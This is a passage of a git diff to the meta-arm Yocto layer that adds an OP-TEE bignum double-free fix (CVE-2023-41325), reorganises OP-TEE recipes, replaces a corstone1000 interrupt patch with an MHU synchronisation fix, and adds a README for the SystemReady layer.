++ crypto_bignum_free(&s->d);
++ crypto_bignum_free(&s->n);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->q);
++ crypto_bignum_free(&s->qp);
++ crypto_bignum_free(&s->dp);
++ crypto_bignum_free(&s->dq);
+ }
+
+ TEE_Result crypto_acipher_gen_rsa_key(struct rsa_keypair *key,
+diff --git a/core/tee/tee_svc_cryp.c b/core/tee/tee_svc_cryp.c
+index 534e5ac39..880809753 100644
+--- a/core/tee/tee_svc_cryp.c
++++ b/core/tee/tee_svc_cryp.c
+@@ -869,8 +869,7 @@ static void op_attr_bignum_free(void *attr)
+ {
+ struct bignum **bn = attr;
+
+- crypto_bignum_free(*bn);
+- *bn = NULL;
++ crypto_bignum_free(bn);
+ }
+
+ static TEE_Result op_attr_value_from_user(void *attr, const void *buffer,
+@@ -3445,8 +3444,8 @@ TEE_Result syscall_cryp_derive_key(unsigned long state,
+ } else {
+ res = TEE_ERROR_OUT_OF_MEMORY;
+ }
+- crypto_bignum_free(pub);
+- crypto_bignum_free(ss);
++ crypto_bignum_free(&pub);
++ crypto_bignum_free(&ss);
+ } else if (TEE_ALG_GET_MAIN_ALG(cs->algo) == TEE_MAIN_ALGO_ECDH) {
+ struct ecc_public_key key_public;
+ uint8_t *pt_secret;
+diff --git a/lib/libmbedtls/core/bignum.c b/lib/libmbedtls/core/bignum.c
+index 61f6c5c60..dea30f61a 100644
+--- a/lib/libmbedtls/core/bignum.c
++++ b/lib/libmbedtls/core/bignum.c
+@@ -87,10 +87,13 @@ struct bignum *crypto_bignum_allocate(size_t size_bits)
+ return (struct bignum *)bn;
+ }
+
+-void crypto_bignum_free(struct bignum *s)
++void crypto_bignum_free(struct bignum **s)
+ {
+- mbedtls_mpi_free((mbedtls_mpi *)s);
+- free(s);
++ assert(s);
++
++ mbedtls_mpi_free((mbedtls_mpi *)*s);
++ free(*s);
++ *s = NULL;
+ }
+
+ void crypto_bignum_clear(struct bignum *s)
+diff --git a/lib/libmbedtls/core/dh.c b/lib/libmbedtls/core/dh.c
+index b3415aaa7..e95aa1495 100644
+--- a/lib/libmbedtls/core/dh.c
++++ b/lib/libmbedtls/core/dh.c
+@@ -35,10 +35,10 @@ TEE_Result crypto_acipher_alloc_dh_keypair(struct dh_keypair *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->g);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->y);
+- crypto_bignum_free(s->x);
++ crypto_bignum_free(&s->g);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->y);
++ crypto_bignum_free(&s->x);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+diff --git a/lib/libmbedtls/core/ecc.c b/lib/libmbedtls/core/ecc.c
+index fd4a51b9d..46cd9fd1c 100644
+--- a/lib/libmbedtls/core/ecc.c
++++ b/lib/libmbedtls/core/ecc.c
+@@ -40,8 +40,8 @@ static void ecc_free_public_key(struct ecc_public_key *s)
+ if (!s)
+ return;
+
+- crypto_bignum_free(s->x);
+- crypto_bignum_free(s->y);
++ crypto_bignum_free(&s->x);
++ crypto_bignum_free(&s->y);
+ }
+
+ /*
+@@ -484,8 +484,8 @@ TEE_Result crypto_asym_alloc_ecc_keypair(struct ecc_keypair *s,
+ return TEE_SUCCESS;
+
+ err:
+- crypto_bignum_free(s->d);
+- crypto_bignum_free(s->x);
++ crypto_bignum_free(&s->d);
++ crypto_bignum_free(&s->x);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+@@ -581,7 +581,7 @@ TEE_Result crypto_asym_alloc_ecc_public_key(struct ecc_public_key *s,
+ return TEE_SUCCESS;
+
+ err:
+- crypto_bignum_free(s->x);
++ crypto_bignum_free(&s->x);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+diff --git a/lib/libmbedtls/core/rsa.c b/lib/libmbedtls/core/rsa.c
+index c3b5be509..a8aeb2c04 100644
+--- a/lib/libmbedtls/core/rsa.c
++++ b/lib/libmbedtls/core/rsa.c
+@@ -183,7 +183,7 @@ TEE_Result sw_crypto_acipher_alloc_rsa_public_key(struct rsa_public_key *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->e);
++ crypto_bignum_free(&s->e);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+@@ -194,8 +194,8 @@ void sw_crypto_acipher_free_rsa_public_key(struct rsa_public_key *s)
+ {
+ if (!s)
+ return;
+- crypto_bignum_free(s->n);
+- crypto_bignum_free(s->e);
++ crypto_bignum_free(&s->n);
++ crypto_bignum_free(&s->e);
+ }
+
+ void crypto_acipher_free_rsa_keypair(struct rsa_keypair *s)
+@@ -205,14 +205,14 @@ void sw_crypto_acipher_free_rsa_keypair(struct rsa_keypair *s)
+ {
+ if (!s)
+ return;
+- crypto_bignum_free(s->e);
+- crypto_bignum_free(s->d);
+- crypto_bignum_free(s->n);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->q);
+- crypto_bignum_free(s->qp);
+- crypto_bignum_free(s->dp);
+- crypto_bignum_free(s->dq);
++ crypto_bignum_free(&s->e);
++ crypto_bignum_free(&s->d);
++ crypto_bignum_free(&s->n);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->q);
++ crypto_bignum_free(&s->qp);
++ crypto_bignum_free(&s->dp);
++ crypto_bignum_free(&s->dq);
+ }
+
+ TEE_Result crypto_acipher_gen_rsa_key(struct rsa_keypair *key,
+--
+2.34.1
+
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0001-allow-setting-sysroot-for-libgcc-lookup.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0001-allow-setting-sysroot-for-libgcc-lookup.patch
index 392e8d82bd..392e8d82bd 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0001-allow-setting-sysroot-for-libgcc-lookup.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0001-allow-setting-sysroot-for-libgcc-lookup.patch
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0002-core-Define-section-attributes-for-clang.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0002-core-Define-section-attributes-for-clang.patch
index 15bdf07df2..15bdf07df2 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0002-core-Define-section-attributes-for-clang.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0002-core-Define-section-attributes-for-clang.patch
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0003-optee-enable-clang-support.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0003-optee-enable-clang-support.patch
index b4ea8ed356..b4ea8ed356 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0003-optee-enable-clang-support.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0003-optee-enable-clang-support.patch
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0004-core-link-add-no-warn-rwx-segments.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0004-core-link-add-no-warn-rwx-segments.patch
index d418d4612f..d418d4612f 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os-3.22.0/0004-core-link-add-no-warn-rwx-segments.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.22.0/0004-core-link-add-no-warn-rwx-segments.patch
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-n1sdp.inc b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-n1sdp.inc
index 80a11b5330..1b66cd5de4 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-n1sdp.inc
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-n1sdp.inc
@@ -8,10 +8,9 @@ FILESEXTRAPATHS:prepend := "${THISDIR}/files/optee-os/n1sdp:"
SRC_URI:append = " \
file://0001-core-arm-add-MPIDR-affinity-shift-and-mask-for-32-bi.patch \
file://0002-plat-n1sdp-add-N1SDP-platform-support.patch \
- file://0003-HACK-disable-instruction-cache-and-data-cache.patch \
- file://0004-Handle-logging-syscall.patch \
- file://0005-plat-n1sdp-register-DRAM1-to-optee-os.patch \
- file://0006-plat-n1sdp-add-external-device-tree-base-and-size.patch \
+ file://0003-Handle-logging-syscall.patch \
+ file://0004-plat-n1sdp-register-DRAM1-to-optee-os.patch \
+ file://0005-plat-n1sdp-add-external-device-tree-base-and-size.patch \
"
EXTRA_OEMAKE += " CFG_TEE_CORE_LOG_LEVEL=4"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.18.0.bbappend b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.18.0.bbappend
deleted file mode 100644
index 0cb9b05e0b..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.18.0.bbappend
+++ /dev/null
@@ -1,6 +0,0 @@
-# Machine specific configurations
-
-MACHINE_OPTEE_OS_TADEVKIT_REQUIRE ?= ""
-MACHINE_OPTEE_OS_TADEVKIT_REQUIRE:tc = "optee-os-tc.inc"
-
-require ${MACHINE_OPTEE_OS_TADEVKIT_REQUIRE}
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_3.22.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.22.0.bb
index 3d9581680b..44496164b6 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_3.22.0.bb
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.22.0.bb
@@ -22,3 +22,8 @@ FILES:${PN} = "${includedir}/optee/"
# Build paths are currently embedded
INSANE_SKIP:${PN}-dev += "buildpaths"
+
+# Include extra headers needed by SPMC tests to TA DEVKIT.
+# Supported after op-tee v3.20
+EXTRA_OEMAKE:append = "${@bb.utils.contains('MACHINE_FEATURES', 'optee-spmc-test', \
+ ' CFG_SPMC_TESTS=y', '' , d)}"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bb
deleted file mode 100644
index 6e1e6ad4b4..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require recipes-security/optee/optee-os.inc
-
-DEPENDS += "dtc-native"
-
-FILESEXTRAPATHS:prepend := "${THISDIR}/${P}:"
-
-SRCREV = "1ee647035939e073a2e8dddb727c0f019cc035f1"
-SRC_URI += " \
- file://0001-allow-setting-sysroot-for-libgcc-lookup.patch \
- file://0002-optee-enable-clang-support.patch \
- file://0003-core-link-add-no-warn-rwx-segments.patch \
- file://0004-core-Define-section-attributes-for-clang.patch \
- file://0005-core-ldelf-link-add-z-execstack.patch \
- file://0006-arm32-libutils-libutee-ta-add-.note.GNU-stack-sectio.patch \
- "
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bbappend b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bbappend
deleted file mode 100644
index e276fb8629..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.18.0.bbappend
+++ /dev/null
@@ -1,6 +0,0 @@
-# Machine specific configurations
-
-MACHINE_OPTEE_OS_REQUIRE ?= ""
-MACHINE_OPTEE_OS_REQUIRE:tc = "optee-os-tc.inc"
-
-require ${MACHINE_OPTEE_OS_REQUIRE}
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.20.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.20.0.bb
index 0f3e58ded9..0638cf7fac 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.20.0.bb
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.20.0.bb
@@ -14,4 +14,5 @@ SRC_URI += " \
file://0006-core-ffa-add-TOS_FW_CONFIG-handling.patch \
file://0007-core-spmc-handle-non-secure-interrupts.patch \
file://0008-core-spmc-configure-SP-s-NS-interrupt-action-based-o.patch \
+ file://CVE-2023-41325.patch \
"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-os_3.22.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bb
index eba2c037bb..e12201920e 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-os_3.22.0.bb
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bb
@@ -1,4 +1,4 @@
-require optee-os.inc
+require recipes-security/optee/optee-os.inc
DEPENDS += "dtc-native"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bbappend b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bbappend
index b5493e5e2a..ee4ca17f53 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bbappend
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bbappend
@@ -1,5 +1,7 @@
-# Machine specific configurations
+# Include Trusted Services Secure Partitions
+require recipes-security/optee/optee-os-ts.inc
+# Machine specific configurations
MACHINE_OPTEE_OS_REQUIRE ?= ""
MACHINE_OPTEE_OS_REQUIRE:corstone1000 = "optee-os-corstone1000-common.inc"
MACHINE_OPTEE_OS_REQUIRE:n1sdp = "optee-os-n1sdp.inc"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.18.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.18.0.bb
deleted file mode 100644
index cf8ea01baa..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.18.0.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require recipes-security/optee/optee-test.inc
-
-SRC_URI += " \
- file://0001-xtest-regression_1000-remove-unneeded-stat.h-include.patch \
- "
-SRCREV = "da5282a011b40621a2cf7a296c11a35c833ed91b"
-
-EXTRA_OEMAKE:append:libc-musl = " OPTEE_OPENSSL_EXPORT=${STAGING_INCDIR}"
-DEPENDS:append:libc-musl = " openssl"
-CFLAGS:append:libc-musl = " -Wno-error=deprecated-declarations"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.20.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.20.0.bb
index 5f73d41405..4409ad5f16 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.20.0.bb
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.20.0.bb
@@ -6,7 +6,3 @@ SRC_URI += " \
file://0003-Update-arm_ffa_user-driver-dependency.patch \
"
SRCREV = "5db8ab4c733d5b2f4afac3e9aef0a26634c4b444"
-
-EXTRA_OEMAKE:append = " OPTEE_OPENSSL_EXPORT=${STAGING_INCDIR}"
-DEPENDS:append = " openssl"
-CFLAGS:append = " -Wno-error=deprecated-declarations"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.22.0.bb b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.22.0.bb
new file mode 100644
index 0000000000..eddf04d86c
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-test_3.22.0.bb
@@ -0,0 +1,14 @@
+require recipes-security/optee/optee-test.inc
+
+SRC_URI += " \
+ file://0001-xtest-regression_1000-remove-unneeded-stat.h-include.patch \
+ "
+SRCREV = "a286b57f1721af215ace318d5807e63f40186df6"
+
+# Include ffa_spmc test group if the SPMC test is enabled.
+# Supported after op-tee v3.20
+EXTRA_OEMAKE:append = "${@bb.utils.contains('MACHINE_FEATURES', 'optee-spmc-test', \
+ ' CFG_SPMC_TESTS=y CFG_SECURE_PARTITION=y', '' , d)}"
+
+RDEPENDS:${PN} += "${@bb.utils.contains('MACHINE_FEATURES', 'optee-spmc-test', \
+ ' arm-ffa-user', '' , d)}"
diff --git a/meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-plat-corstone1000-change-ns-interrupt-action.patch b/meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-plat-corstone1000-change-ns-interrupt-action.patch
deleted file mode 100644
index c50f2866bb..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-plat-corstone1000-change-ns-interrupt-action.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 7f51fa5f848b77b5aadfc553e1aeca52f4bcc5a1 Mon Sep 17 00:00:00 2001
-From: Emekcan Aras <emekcan.aras@arm.com>
-Date: Tue, 22 Aug 2023 17:18:26 +0100
-Subject: [PATCH] platform: corstone1000: change ns-interrupt-action
-
-Changes ns-interrupt-action for corstone1000. The interrupts are queued as
-in the previous optee release. Currently, enabling preemption (settig this field
-to 2) will halt psa-test from linux-userspace in corstone1000.
-
-Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Upstream-Status: Pending [Not submitted to upstream yet]
----
- .../config/corstone1000-opteesp/default_se-proxy.dts.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/deployments/se-proxy/config/corstone1000-opteesp/default_se-proxy.dts.in b/deployments/se-proxy/config/corstone1000-opteesp/default_se-proxy.dts.in
-index cc42929d..839f7464 100644
---- a/deployments/se-proxy/config/corstone1000-opteesp/default_se-proxy.dts.in
-+++ b/deployments/se-proxy/config/corstone1000-opteesp/default_se-proxy.dts.in
-@@ -16,7 +16,7 @@
- execution-state = <0>; /* AArch64 */
- xlat-granule = <0>; /* 4KiB */
- messaging-method = <3>; /* Direct messaging only */
-- ns-interrupts-action = <2>; /* Non-secure interrupts are signaled */
-+ ns-interrupts-action = <0>; /* Non-secure interrupts are signaled */
- elf-format = <1>;
-
- device-regions {
---
-2.17.1
-
diff --git a/meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-platform-corstone1000-fix-synchronization-issue.patch b/meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-platform-corstone1000-fix-synchronization-issue.patch
new file mode 100644
index 0000000000..5d8f731854
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-security/trusted-services/corstone1000/0008-platform-corstone1000-fix-synchronization-issue.patch
@@ -0,0 +1,105 @@
+From 06c3e612cb0927d783f115077d83ed97841c5668 Mon Sep 17 00:00:00 2001
+From: Emekcan Aras <emekcan.aras@arm.com>
+Date: Tue, 14 Nov 2023 14:43:44 +0000
+Subject: [PATCH] plat: corstone1000: fix synchronization issue on openamp notification
+
+This fixes a race that is observed rarely in the FVP. It occurs in FVP
+when Secure Enclave sends the notication ack in openamp, and then reset the access
+request which resets the mhu registers before received by the SE-proxy-sp in the
+host processort. This solution introduces polling on the status register of
+mhu until the notificaiton is read by the host processor. (Inspired by
+signal_and_wait_for_signal function in mhu_wrapper_v2_x.c in trusted-firmware-m
+https://git.trustedfirmware.org/TF-M/trusted-firmware-m.git/tree/platform/ext/target/arm/rss/common/native_drivers/mhu_wrapper_v2_x.c#n61)
+
+Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
+Upstream-Status: Pending [Not submitted to upstream yet]
+---
+ components/messaging/openamp/sp/openamp_mhu.c | 9 ++++++++-
+ platform/drivers/arm/mhu_driver/mhu_v2.h | 18 ++++++++++++++++++
+ platform/drivers/arm/mhu_driver/mhu_v2_x.c | 17 +++++++++++++++++
+ 3 files changed, 43 insertions(+), 1 deletion(-)
+
+diff --git a/components/messaging/openamp/sp/openamp_mhu.c b/components/messaging/openamp/sp/openamp_mhu.c
+index bafba3e3..0700b8b9 100644
+--- a/components/messaging/openamp/sp/openamp_mhu.c
++++ b/components/messaging/openamp/sp/openamp_mhu.c
+@@ -85,7 +85,7 @@ int openamp_mhu_notify_peer(struct openamp_messenger *openamp)
+ struct mhu_v2_x_dev_t *tx_dev;
+ enum mhu_v2_x_error_t ret;
+ struct openamp_mhu *mhu;
+- uint32_t access_ready;
++ uint32_t access_ready,val;
+
+ if (!openamp->transport) {
+ EMSG("openamp: mhu: notify transport not initialized");
+@@ -116,6 +116,13 @@ int openamp_mhu_notify_peer(struct openamp_messenger *openamp)
+ return -EPROTO;
+ }
+
++ do {
++ ret = mhu_v2_x_channel_poll(tx_dev, MHU_V_2_NOTIFY_CHANNEL, &val);
++ if (ret != MHU_V_2_X_ERR_NONE) {
++ break;
++ }
++ } while (val != 0);
++
+ ret = mhu_v2_x_reset_access_request(tx_dev);
+ if (ret != MHU_V_2_X_ERR_NONE) {
+ EMSG("openamp: mhu: failed reset access request");
+diff --git a/platform/drivers/arm/mhu_driver/mhu_v2.h b/platform/drivers/arm/mhu_driver/mhu_v2.h
+index 26b3a5d6..2b4d6fcb 100644
+--- a/platform/drivers/arm/mhu_driver/mhu_v2.h
++++ b/platform/drivers/arm/mhu_driver/mhu_v2.h
+@@ -384,6 +384,24 @@ enum mhu_v2_x_error_t mhu_v2_x_interrupt_clear(
+ enum mhu_v2_x_error_t mhu_v2_1_get_ch_interrupt_num(
+ const struct mhu_v2_x_dev_t *dev, uint32_t *channel);
+
++
++/**
++ * \brief Polls sender channel status.
++ *
++ * \param[in] dev MHU device struct \ref mhu_v2_x_dev_t
++ * \param[in] channel Channel to poll the status of.
++ * \param[out] value Pointer to variable that will store the value.
++ *
++ * Polls sender channel status.
++ *
++ * \return Returns mhu_v2_x_error_t error code
++ *
++ * \note This function doesn't check if dev is NULL.
++ * \note This function doesn't check if channel is implemented.
++ */
++enum mhu_v2_x_error_t mhu_v2_x_channel_poll(const struct mhu_v2_x_dev_t *dev,
++ uint32_t channel, uint32_t *value);
++
+ #ifdef __cplusplus
+ }
+ #endif
+diff --git a/platform/drivers/arm/mhu_driver/mhu_v2_x.c b/platform/drivers/arm/mhu_driver/mhu_v2_x.c
+index d7e70efa..022e287a 100644
+--- a/platform/drivers/arm/mhu_driver/mhu_v2_x.c
++++ b/platform/drivers/arm/mhu_driver/mhu_v2_x.c
+@@ -600,3 +600,20 @@ enum mhu_v2_x_error_t mhu_v2_1_get_ch_interrupt_num(
+
+ return MHU_V_2_X_ERR_GENERAL;
+ }
++
++enum mhu_v2_x_error_t mhu_v2_x_channel_poll(const struct mhu_v2_x_dev_t *dev,
++ uint32_t channel, uint32_t *value)
++{
++ union _mhu_v2_x_frame_t *p_mhu = (union _mhu_v2_x_frame_t *)dev->base;
++
++ if ( !(dev->is_initialized) ) {
++ return MHU_V_2_X_ERR_NOT_INIT;
++ }
++
++ if (dev->frame == MHU_V2_X_SENDER_FRAME) {
++ *value = (SEND_FRAME(p_mhu))->send_ch_window[channel].ch_st;
++ return MHU_V_2_X_ERR_NONE;
++ } else {
++ return MHU_V_2_X_ERR_INVALID_ARG;
++ }
++}
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-bsp/recipes-security/trusted-services/ts-arm-platforms.inc b/meta-arm/meta-arm-bsp/recipes-security/trusted-services/ts-arm-platforms.inc
index 551a67dcd1..3c7e94e6ea 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/trusted-services/ts-arm-platforms.inc
+++ b/meta-arm/meta-arm-bsp/recipes-security/trusted-services/ts-arm-platforms.inc
@@ -9,7 +9,7 @@ SRC_URI:append:corstone1000 = " \
file://0005-plat-corstone1000-add-compile-definitions-for-ECP_DP.patch \
file://0006-plat-corstone1000-Use-the-stateless-platform-service.patch \
file://0007-plat-corstone1000-Initialize-capsule-update-provider.patch \
- file://0008-plat-corstone1000-change-ns-interrupt-action.patch \
+ file://0008-platform-corstone1000-fix-synchronization-issue.patch \
"
diff --git a/meta-arm/meta-arm-bsp/wic/fvp-base.wks b/meta-arm/meta-arm-bsp/wic/fvp-base.wks
deleted file mode 100644
index 8399d042d4..0000000000
--- a/meta-arm/meta-arm-bsp/wic/fvp-base.wks
+++ /dev/null
@@ -1,3 +0,0 @@
-# For fvp-base* machines we just need to populate the rootfs partition
-
-part / --source rootfs --ondisk sda --fstype=ext4 --label root --align 1024 --extra-space 100
diff --git a/meta-arm/meta-arm-systemready/README.md b/meta-arm/meta-arm-systemready/README.md
new file mode 100644
index 0000000000..49cfed6e33
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/README.md
@@ -0,0 +1,148 @@
+# meta-arm-systemready Yocto Layer
+
+This layer contains classes and recipes for building and running
+[Arm SystemReady][] validation on the supported machines.
+
+Information regarding contributing, reporting bugs, etc can be found in the
+top-level meta-arm [README.md](../README.md) file.
+
+## Introduction
+
+This layer provides support for the following on supported machines:
+
+* Building the firmware for the [Arm SystemReady][] certification program
+* Running [Arm SystemReady ACS][] (Architecture Compliance Suite) tests
+* Running Linux distributions installation tests
+
+This layer is designed to work alongside with a BSP layer. For example, the
+[`meta-arm-bsp`][] layer in the top-level meta-arm defines the
+[`fvp-base`][] machine, which can be used with the recipes provided by this
+layer to build the firmware, run the [Arm SystemReady IR][] ACS tests, and
+run Linux distributions installation. **Note** that users can use this layer
+with their BSP layer to perform the same build and tests.
+
+### Firmware Build
+
+The `arm-systemready-firmware.bb` recipe is to build the firmware. It requires
+the `ARM_SYSTEMREADY_FIRMWARE` variable set at the MACHINE configuration level
+to list the build dependencies.
+
+### ACS Tests
+
+The recipe to run the ACS tests fetches and deploys the prebuilt ACS test suite
+disk image, and generates the necessary metadata to support executing the test
+suite using the bitbake `testimage` task. A test case `SystemReadyACSTest` is
+introduced in `lib/oeqa/runtime/cases` to monitor the ACS tests output from the
+bitbake `testimage` task. The `ARM_SYSTEMREADY_ACS_CONSOLE` variable must be set
+at the MACHINE configuration level for this test case.
+
+There are two additional recipes for generating the Arm SystemReady ACS tests
+report files through the use of the [EDK2 SCT Results Parser][] and the
+[Arm SystemReady scripts][]. These packages are installed in the
+`edk2-test-parser-native.bb` and `arm-systemready-scripts-native.bb` recipes
+respectively.
+
+The class `arm-systemready-acs.bbclass` implements the common logic to deploy
+the Arm SystemReady ACS prebuilt image and set up the `testimage` environment.
+This class also contains a `testimage` `"postfunc"` called `acs_logs_handle`
+which generates report files and analyzes the test results.
+
+The test result analysis is performed by first using the EDK2 SCT Results
+Parser to create a results.md file, then running the Arm SystemReady result
+check script to check the contents of the result partition as well as the
+console log. The result check will fail if any of the expected files or
+directories are missing, or if any file's contents do not pass its file-specific
+checks.
+
+The ACS test results which are checked by the script can be viewed in
+`${TMPDIR}/work/aarch64-oe-linux/arm-systemready-ir-acs/2.0.0-r0/testimage/`. If
+the check fails, the bitbake `testimage` task will fail.
+
+
+### Linux Distributions Installation
+
+Recipes for testing the installation of Linux distributions are provided under
+`recipes-test/arm-systemready-linux-distros`. These recipes help to download the
+installation CD for the Linux distribution and generate an empty disk as the
+target disk for the installation.
+
+## Supported Band and Machine
+
+Arm SystemReady has four bands:
+* [Arm SystemReady SR][]
+* [Arm SystemReady ES][]
+* [Arm SystemReady IR][]
+* [Arm SystemReady LS][]
+
+Currently, this layer only supports
+[Arm SystemReady IR ACS version v23.03_2.0.0][], which is verified on the
+[`fvp-base`][] machine.
+
+## Build and Run
+
+To build the firmware for Arm SystemReady on the supported machines (take the
+`fvp-base` machine as an example):
+
+ kas build kas/fvp-base.yml:kas/arm-systemready-firmware.yml
+
+
+To run the Arm SystemReady ACS tests on the supported machines (take running
+Arm SystemReady IR on the `fvp-base` machine as an example):
+
+ kas build kas/fvp-base.yml:kas/arm-systemready-ir-acs.yml
+
+To run the Linux distributions installation on the supported machines (take
+installing openSUSE on the `fvp-base` machine as an example):
+
+ kas build kas/fvp-base.yml:kas/arm-systemready-linux-distros-opensuse.yml
+
+ kas shell \
+ kas/fvp-base.yml:kas/arm-systemready-linux-distros-opensuse.yml \
+ -c "../scripts/runfvp --verbose --console"
+
+## Guidelines for Reusing and Extending
+
+Currently, this layer only supports the Arm SystemReady IR band running on the
+`fvp-base` machine defined in the `meta-arm-bsp` layer. The supported Arm
+SystemReady IR implementation can be reused on other machines. Furthermore, the
+current implementation can be further extended to support SR, ES and LS bands.
+
+### Reuse
+
+To reuse the supported Arm SystemReady IR on other machines, you will need to:
+
+1. Set the `ARM_SYSTEMREADY_FIRMWARE` variable at the MACHINE configuration
+ level to list the build dependencies. The configuration file of the
+ [`fvp-base`][] machine can be used as a reference.
+2. Set the `ARM_SYSTEMREADY_ACS_CONSOLE` variable at the MACHINE configuration
+ level for running the ACS tests in the bitbake `testimage` task. Also refer
+ to the configuration file of the [`fvp-base`][] machine.
+
+### Extend
+
+To extend support for other bands, you will need to:
+
+1. Add a new recipe to inherit `arm-systemready-acs.bbclass`. You can use
+ [`arm-systemready-ir-acs.bb`][] as a reference.
+2. Add a new `testimage` test case for the newly added band. Refer to
+ [`arm_systemready_ir_acs.py`][].
+3. Set the necessary variables and prepare the ACS baseline files (as listed in
+ the above **Reuse** section) at the MACHINE configuration level from the BSP
+ layer for the machine to be supported.
+
+**Note**: When reusing and extending, the current classes and libs may need to
+be modified or refactored as necessary.
+
+[Arm SystemReady]: https://www.arm.com/architecture/system-architectures/systemready-certification-program
+[Arm SystemReady ACS]: https://github.com/ARM-software/arm-systemready
+[Arm SystemReady SR]: https://www.arm.com/architecture/system-architectures/systemready-certification-program/sr
+[Arm SystemReady ES]: https://www.arm.com/architecture/system-architectures/systemready-certification-program/es
+[Arm SystemReady IR]: https://www.arm.com/architecture/system-architectures/systemready-certification-program/ir
+[Arm SystemReady LS]: https://www.arm.com/architecture/system-architectures/systemready-certification-program/ls
